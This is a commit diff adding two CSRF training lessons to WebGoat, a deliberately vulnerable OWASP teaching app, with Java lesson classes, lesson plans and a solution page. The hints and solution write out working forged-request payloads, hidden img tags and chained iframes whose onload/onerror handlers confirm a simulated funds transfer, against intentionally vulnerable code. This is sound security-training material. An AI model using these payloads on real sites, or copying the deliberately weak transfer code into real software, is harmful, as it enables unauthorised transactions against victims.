This change includes two additional CSRF lessons. One for
by-passing a prompt (showing why prompts don't work). The second for by-passing CSRF tokens when XSS exists. It also modifies the existing CSRF lesson so that the lesson can be extended and used by the two new lessons. git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@386 4033779f-a91e-0410-96ef-6bf7bf53c507
@ -6,11 +6,17 @@ import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.sql.Statement;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Enumeration;
|
||||
import java.util.List;
|
||||
|
||||
import javax.servlet.http.HttpSession;
|
||||
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.B;
|
||||
import org.apache.ecs.html.BR;
|
||||
import org.apache.ecs.html.Form;
|
||||
import org.apache.ecs.html.H1;
|
||||
import org.apache.ecs.html.HR;
|
||||
import org.apache.ecs.html.IMG;
|
||||
@ -58,7 +64,8 @@ import org.owasp.webgoat.util.HtmlEncoder;
|
||||
*/
|
||||
public class CSRF extends LessonAdapter
|
||||
{
|
||||
|
||||
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
|
||||
protected static final String TRANSFER_FUNDS_PAGE = "main";
|
||||
private final static String MESSAGE = "message";
|
||||
private final static int MESSAGE_COL = 3;
|
||||
private final static String NUMBER = "Num";
|
||||
@ -108,17 +115,61 @@ public class CSRF extends LessonAdapter
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
addMessage(s);
|
||||
ec.addElement(makeInput(s));
|
||||
ec.addElement(new HR());
|
||||
ec.addElement(makeCurrent(s));
|
||||
ec.addElement(new HR());
|
||||
ec.addElement(makeList(s));
|
||||
|
||||
|
||||
if (isTransferFunds(s)){
|
||||
ec.addElement(doTransfer(s));
|
||||
} else {
|
||||
addMessage(s);
|
||||
ec.addElement(makeInput(s));
|
||||
ec.addElement(new HR());
|
||||
ec.addElement(makeCurrent(s));
|
||||
ec.addElement(new HR());
|
||||
ec.addElement(makeList(s));
|
||||
}
|
||||
return ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the
|
||||
* web content to display the electronic transfer of funds. An request
|
||||
* should have a dollar amount specified. When this page is accessed it will mark the lesson complete
|
||||
*
|
||||
* @param s
|
||||
* @return Element will appropriate web content for a transfer of funds.
|
||||
*/
|
||||
protected Element doTransfer(WebSession s) {
|
||||
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
|
||||
|
||||
//transfer form
|
||||
ec.addElement(new H1("Electronic Transfer:"));
|
||||
String action = getLink();
|
||||
Form form = new Form(action, Form.POST);
|
||||
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
|
||||
//if this token is present we won't mark the lesson as completed
|
||||
form.addElement( new Input(Input.submit));
|
||||
ec.addElement(form);
|
||||
//present transfer funds form
|
||||
} else if (transferFunds.length() != 0){
|
||||
|
||||
//transfer is confirmed
|
||||
ec.addElement(new H1("Electronic Transfer Complete"));
|
||||
ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
|
||||
makeSuccess(s);
|
||||
}
|
||||
return ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param s current web session
|
||||
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
|
||||
*/
|
||||
protected boolean isTransferFunds(WebSession s) {
|
||||
return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER);
|
||||
}
|
||||
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
@ -142,7 +193,8 @@ public class CSRF extends LessonAdapter
|
||||
row2.addElement(item1);
|
||||
|
||||
TD item2 = new TD();
|
||||
TextArea ta = new TextArea(MESSAGE, 5, 60);
|
||||
TextArea ta = new TextArea(MESSAGE, 12, 60);
|
||||
ta.addAttribute("wrap", "soft");
|
||||
item2.addElement(ta);
|
||||
row2.addElement(item2);
|
||||
t.addElement(row1);
|
||||
@ -281,7 +333,7 @@ public class CSRF extends LessonAdapter
|
||||
return Category.XSS;
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(120);
|
||||
private final static Integer DEFAULT_RANKING = new Integer(121);
|
||||
|
||||
@Override
|
||||
protected Integer getDefaultRanking()
|
||||
|
@ -0,0 +1,200 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.sql.Connection;
|
||||
import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.sql.Statement;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
import javax.servlet.http.HttpSession;
|
||||
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.A;
|
||||
import org.apache.ecs.html.B;
|
||||
import org.apache.ecs.html.BR;
|
||||
import org.apache.ecs.html.Form;
|
||||
import org.apache.ecs.html.H1;
|
||||
import org.apache.ecs.html.HR;
|
||||
import org.apache.ecs.html.IMG;
|
||||
import org.apache.ecs.html.Input;
|
||||
import org.apache.ecs.html.P;
|
||||
import org.apache.ecs.html.TD;
|
||||
import org.apache.ecs.html.TR;
|
||||
import org.apache.ecs.html.Table;
|
||||
import org.apache.ecs.html.TextArea;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.ECSFactory;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.util.HtmlEncoder;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at code.google.com, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Contributed by <a href="http://www.partnet.com">PartNet.</a>
|
||||
*
|
||||
*/
|
||||
public class CsrfPromptByPass extends CSRF
|
||||
{
|
||||
protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount";
|
||||
protected static final String CANCEL_TRANSFER = "CANCEL";
|
||||
protected static final String CONFIRM_TRANFER = "CONFIRM";
|
||||
|
||||
/**
|
||||
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
|
||||
* web content to confirm and then execute a simulated transfer of funds. An initial request
|
||||
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
|
||||
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
|
||||
*
|
||||
* @param s
|
||||
* @return Element will appropriate web content for a transfer of funds.
|
||||
*/
|
||||
protected Element doTransfer(WebSession s) {
|
||||
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
if (transferFunds.length() != 0) {
|
||||
|
||||
HttpSession httpSession = s.getRequest().getSession();
|
||||
Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
|
||||
|
||||
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
|
||||
|
||||
//present transfer form
|
||||
ec.addElement(new H1("Electronic Transfer:"));
|
||||
String action = getLink();
|
||||
Form form = new Form(action, Form.POST);
|
||||
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
|
||||
//if this token is present we won't mark the lesson as completed
|
||||
form.addElement( new Input(Input.submit));
|
||||
ec.addElement(form);
|
||||
|
||||
} else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){
|
||||
|
||||
//transfer is confirmed
|
||||
ec.addElement(new H1("Electronic Transfer Complete"));
|
||||
ec.addElement(new StringElement("Amount Transfered: "+transferAmount));
|
||||
makeSuccess(s);
|
||||
|
||||
} else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){
|
||||
|
||||
//clear any pending fund transfer
|
||||
s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
|
||||
|
||||
} else if (transferFunds.length() > 0){
|
||||
|
||||
//save the transfer amount in the session
|
||||
transferAmount = new Integer(transferFunds);
|
||||
httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount);
|
||||
|
||||
//prompt for confirmation
|
||||
|
||||
ec.addElement(new H1("Electronic Transfer Confirmation:"));
|
||||
ec.addElement(new StringElement("Amount to transfer: "+transferAmount));
|
||||
ec.addElement(new BR());
|
||||
String action = getLink();
|
||||
Form form = new Form(action, Form.POST);
|
||||
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER));
|
||||
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER));
|
||||
ec.addElement(form);
|
||||
}
|
||||
}
|
||||
// white space
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
return ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param s current web session
|
||||
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
|
||||
*/
|
||||
protected boolean isTransferFunds(WebSession s) {
|
||||
String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "");
|
||||
if (transferFunds.length() != 0){
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.XSS;
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(122);
|
||||
|
||||
@Override
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned");
|
||||
hints.add("Add java script to send the confirmation after requesting the transfer");
|
||||
hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. ");
|
||||
hints.add("Include this URL in the message <pre><img src='" + getLink()
|
||||
+ "&transferFunds=5000' width=\"1\" height=\"1\" /></pre>");
|
||||
|
||||
return hints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the MessageBoardScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("CSRF Prompt By-Pass");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
A partnet = new A("http://www.partnet.com");
|
||||
partnet.setPrettyPrint(false);
|
||||
partnet.addElement(new StringElement("PART"));
|
||||
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
|
||||
partnet.setStyle("background-color:midnightblue;color:white");
|
||||
|
||||
ElementContainer credits = new ElementContainer();
|
||||
credits.addElement(new StringElement("Contributed by "));
|
||||
credits.addElement(partnet);
|
||||
credits.addElement(new BR());
|
||||
credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa"));
|
||||
return credits;
|
||||
}
|
||||
}
|
@ -0,0 +1,181 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.security.SecureRandom;
|
||||
import java.sql.Connection;
|
||||
import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.sql.Statement;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
|
||||
import javax.servlet.http.HttpSession;
|
||||
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.A;
|
||||
import org.apache.ecs.html.B;
|
||||
import org.apache.ecs.html.BR;
|
||||
import org.apache.ecs.html.Form;
|
||||
import org.apache.ecs.html.H1;
|
||||
import org.apache.ecs.html.H2;
|
||||
import org.apache.ecs.html.HR;
|
||||
import org.apache.ecs.html.IMG;
|
||||
import org.apache.ecs.html.Input;
|
||||
import org.apache.ecs.html.P;
|
||||
import org.apache.ecs.html.TD;
|
||||
import org.apache.ecs.html.TR;
|
||||
import org.apache.ecs.html.Table;
|
||||
import org.apache.ecs.html.TextArea;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.ECSFactory;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.util.HtmlEncoder;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at code.google.com, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Contributed by <a href="http://www.partnet.com">PartNet.</a>
|
||||
*
|
||||
*/
|
||||
public class CsrfTokenByPass extends CsrfPromptByPass
|
||||
{
|
||||
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
|
||||
private static final String CSRFTOKEN = "CSRFToken";
|
||||
private static final int INVALID_TOKEN = 0;
|
||||
private final Random random;
|
||||
|
||||
public CsrfTokenByPass(){
|
||||
super();
|
||||
random = new SecureRandom();
|
||||
}
|
||||
/**
|
||||
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
|
||||
* web content to confirm and then execute a simulated transfer of funds. An initial request
|
||||
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
|
||||
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
|
||||
*
|
||||
* @param s
|
||||
* @return Element will appropriate web content for a transfer of funds.
|
||||
*/
|
||||
protected Element doTransfer(WebSession s) {
|
||||
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
|
||||
String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, ""));
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
if (transferFunds.length() != 0)
|
||||
{
|
||||
HttpSession httpSession = s.getRequest().getSession();
|
||||
|
||||
//get tokens to validate
|
||||
Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN);
|
||||
Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN);
|
||||
|
||||
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
|
||||
|
||||
//generate new random token:
|
||||
int token = INVALID_TOKEN;
|
||||
while (token == INVALID_TOKEN){
|
||||
token = random.nextInt();
|
||||
}
|
||||
httpSession.setAttribute(CSRFTOKEN, token);
|
||||
|
||||
//present transfer form
|
||||
ec.addElement(new H1("Electronic Transfer:"));
|
||||
String action = getLink();
|
||||
Form form = new Form(action, Form.POST);
|
||||
form.addAttribute("id", "transferForm");
|
||||
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
|
||||
form.addElement( new Input(Input.hidden, CSRFTOKEN, token));
|
||||
form.addElement( new Input(Input.submit));
|
||||
ec.addElement(form);
|
||||
//present transfer funds form
|
||||
|
||||
} else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){
|
||||
|
||||
//transfer is confirmed
|
||||
ec.addElement(new H1("Electronic Transfer Complete"));
|
||||
ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
|
||||
makeSuccess(s);
|
||||
|
||||
}
|
||||
//white space
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
}
|
||||
return ec;
|
||||
}
|
||||
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(123);
|
||||
|
||||
@Override
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned");
|
||||
hints.add("The forged request needs both a token and the transfer funds parameter");
|
||||
hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?");
|
||||
|
||||
return hints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the MessageBoardScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("CSRF Token By-Pass");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
A partnet = new A("http://www.partnet.com");
|
||||
partnet.setPrettyPrint(false);
|
||||
partnet.addElement(new StringElement("PART"));
|
||||
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
|
||||
partnet.setStyle("background-color:midnightblue;color:white");
|
||||
|
||||
ElementContainer credits = new ElementContainer();
|
||||
credits.addElement(new StringElement("Contributed by "));
|
||||
credits.addElement(partnet);
|
||||
credits.addElement(new BR());
|
||||
credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa"));
|
||||
return credits;
|
||||
}
|
||||
}
|
@ -16,6 +16,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41
|
||||
lesson.StoredXss.ranking=10
|
||||
lesson.ReflectedXSS.ranking=20
|
||||
lesson.CSRF.ranking=30
|
||||
lesson.CsrfPromptByPass.ranking=40
|
||||
lesson.CsrfTokenByPass.ranking=50
|
||||
lesson.CrossSiteScripting.hidden=true
|
||||
|
||||
category.Unvalidated\ Parameters.ranking=51
|
||||
|
@ -15,6 +15,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41
|
||||
lesson.StoredXss.ranking=10
|
||||
lesson.ReflectedXSS.ranking=20
|
||||
lesson.CSRF.ranking=30
|
||||
lesson.CsrfPromptByPass.ranking=40
|
||||
lesson.CsrfTokenByPass.ranking=50
|
||||
|
||||
category.Unvalidated\ Parameters.ranking=51
|
||||
lesson.HiddenFieldTampering.ranking=10
|
||||
|
32
main/project/WebContent/lesson_plans/CsrfPromptByPass.html
Normal file
@ -0,0 +1,32 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b>CSRF User Prompt By-Pass</p><br/>
|
||||
</div>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
This lesson teaches how to perform CSRF attacks that by-pass user confirmation prompts.
|
||||
<br>
|
||||
<div align="Left">
|
||||
<p>
|
||||
<b>How the attacks works:</b>
|
||||
<p>
|
||||
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page
|
||||
that contains a 'forged request' to execute commands with the victim's credentials. Prompting
|
||||
a user to confirm or cancel the command might sound like a solution, but can be by-passed if
|
||||
the prompt is scriptable. This lesson shows how to by-pass such a prompt by issuing another
|
||||
forged request. This can also apply to a series of prompts such as a wizard or issuing multiple
|
||||
unrelated forged requests.</p>
|
||||
|
||||
|
||||
</div>
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
|
||||
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
|
||||
that the first request triggered. The URL should point to the CSRF lesson with an extra
|
||||
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
|
||||
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
|
||||
receives this email and happens to be authenticated at that time will have his funds transferred.
|
||||
When you think the attack is successful, refresh the page and you will find the green check on
|
||||
the left hand side menu.
|
||||
<!-- Stop Instructions -->
|
||||
|
37
main/project/WebContent/lesson_plans/CsrfTokenByPass.html
Normal file
@ -0,0 +1,37 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p><br/>
|
||||
</div>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
|
||||
<br>
|
||||
<div align="Left">
|
||||
<p>
|
||||
<b>How the attacks works:</b>
|
||||
</p>
|
||||
<p>
|
||||
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
|
||||
loading a page that contains a 'forged request' to execute commands with the
|
||||
victim's credentials. </p>
|
||||
|
||||
<p>Token-based request authentication mitigates these attacks. This technique
|
||||
inserts tokens into pages that issue requests. These tokens are required to
|
||||
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
|
||||
this technique to help prevent CSRF attacks.</p>
|
||||
|
||||
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
|
||||
Because of the same-origin browser policy, pages from the same domain can read content from
|
||||
other pages from the same domain. </p>
|
||||
|
||||
</div>
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
|
||||
request to transfer funds. To successfully complete you need to obtain a valid request token.
|
||||
The page that presents the transfer funds form contains a valid request token. The URL for the
|
||||
transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load
|
||||
this page, read the token and append the token in a forged request to transferFunds. When you think
|
||||
the attack is successful, refresh the page and you will find the green check on the left hand side menu.
|
||||
<!-- Stop Instructions -->
|
||||
|
||||
|
109
main/project/WebContent/lesson_solutions/CsrfPromptByPass.html
Normal file
@ -0,0 +1,109 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Client Side Filtering</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b>Prompt By-Pass with CSRF</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing
|
||||
multiple requests to by-pass a scriptable user-prompt
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
|
||||
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
|
||||
that the first request triggered. The URL should point to the CSRF lesson with an extra
|
||||
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
|
||||
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
|
||||
receives this email and happens to be authenticated at that time will have his funds transferred.
|
||||
When you think the attack is successful, refresh the page and you will find the green check on
|
||||
the left hand side menu
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
|
||||
<p>Start by crafting an image or iframe tag similar to the CSRF LAB: <code><img
|
||||
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||
width="1" height="1" /></code>
|
||||
|
||||
This image request will not result in a transfer of funds but will instead
|
||||
prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the
|
||||
Lesson with the extra parameter of "transferFunds=4000" <br/>
|
||||
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png" alt="User Prompt for confirmation of the transfer of funds" /><br>
|
||||
<font size="2"><b>User Prompt</b></font>
|
||||
</p>
|
||||
<p>
|
||||
Next look at the source of the page to see what parameters the confirmation requires.
|
||||
The form in the confirmation prompt looks like the following:
|
||||
<code>
|
||||
|
||||
<pre id="line548"><<span class="start-tag">form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=5&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CONFIRM'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CANCEL'</span>>
|
||||
</<span class="end-tag">form</span>></pre></code>
|
||||
|
||||
From this we see the next forged command will need the folllowing URL: <br/>
|
||||
<code>attack?Screen=5&menu=900&transferFunds=CONFIRM</code><br/>
|
||||
This solution shows how to do this attack with both iframes and images. The next step is to
|
||||
add the additional forged confirmation request. However, an additional iframe or image with
|
||||
this URL will not be sufficient. The second request must load after the first. So add
|
||||
Javascript to load the second command after the first. For iframes, make the onload attribute
|
||||
of the first frame set the src of the second iframe:<br/>
|
||||
|
||||
<code>
|
||||
<pre id="line578"><<span class="start-tag">iframe</span><span class="attribute-name">
|
||||
src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
|
||||
</span><span class="attribute-name">id</span>=<span class="attribute-value">"myFrame" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"
|
||||
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';"</span>>
|
||||
</pre><pre id="line591"></<span class="end-tag">iframe</span>>
|
||||
|
||||
<<span class="start-tag">iframe</span><span class="attribute-name">
|
||||
id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>>
|
||||
</<span class="end-tag">iframe</span>>
|
||||
</pre>
|
||||
</code>
|
||||
|
||||
Next add the iframes into a message stored on the web page:<br/>
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png" alt="Picture of embedded message" /><br>
|
||||
<font size="2"><b>Insert iframes hack picture</b></font><br/>
|
||||
<p>
|
||||
The following shows the result of clicking on the malicious iframe message:
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png" alt="Picture of the malicious iframe message" /><br>
|
||||
<font size="2"><b>Results of iframes hack picture</b></font><br/>
|
||||
In the above image, note that the first frame shows the user prompt, the result of the
|
||||
first forged request to transfer funds. In the second frame the results of the second
|
||||
forged request (the confirmation) are shown, indicating that 4000 dollars were successfully
|
||||
transfered. Refreshing the page will indicate that this lesson has been completed.
|
||||
</p>
|
||||
<p>
|
||||
In a real attack these results would be hidden from the end user. Click "restart this lesson"
|
||||
to attempt the attack again, only this time try hiding the attack with hidden or very small frames.
|
||||
</p>
|
||||
<p>
|
||||
For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
|
||||
<br/>
|
||||
<code>
|
||||
<img
|
||||
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||
onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'"
|
||||
width="1" height="1" />
|
||||
<img
|
||||
id="image2"
|
||||
width="1" height="1" />
|
||||
</code>
|
||||
<br/>
|
||||
Next store the malicious images in a message and click the message to attempt the attack.
|
||||
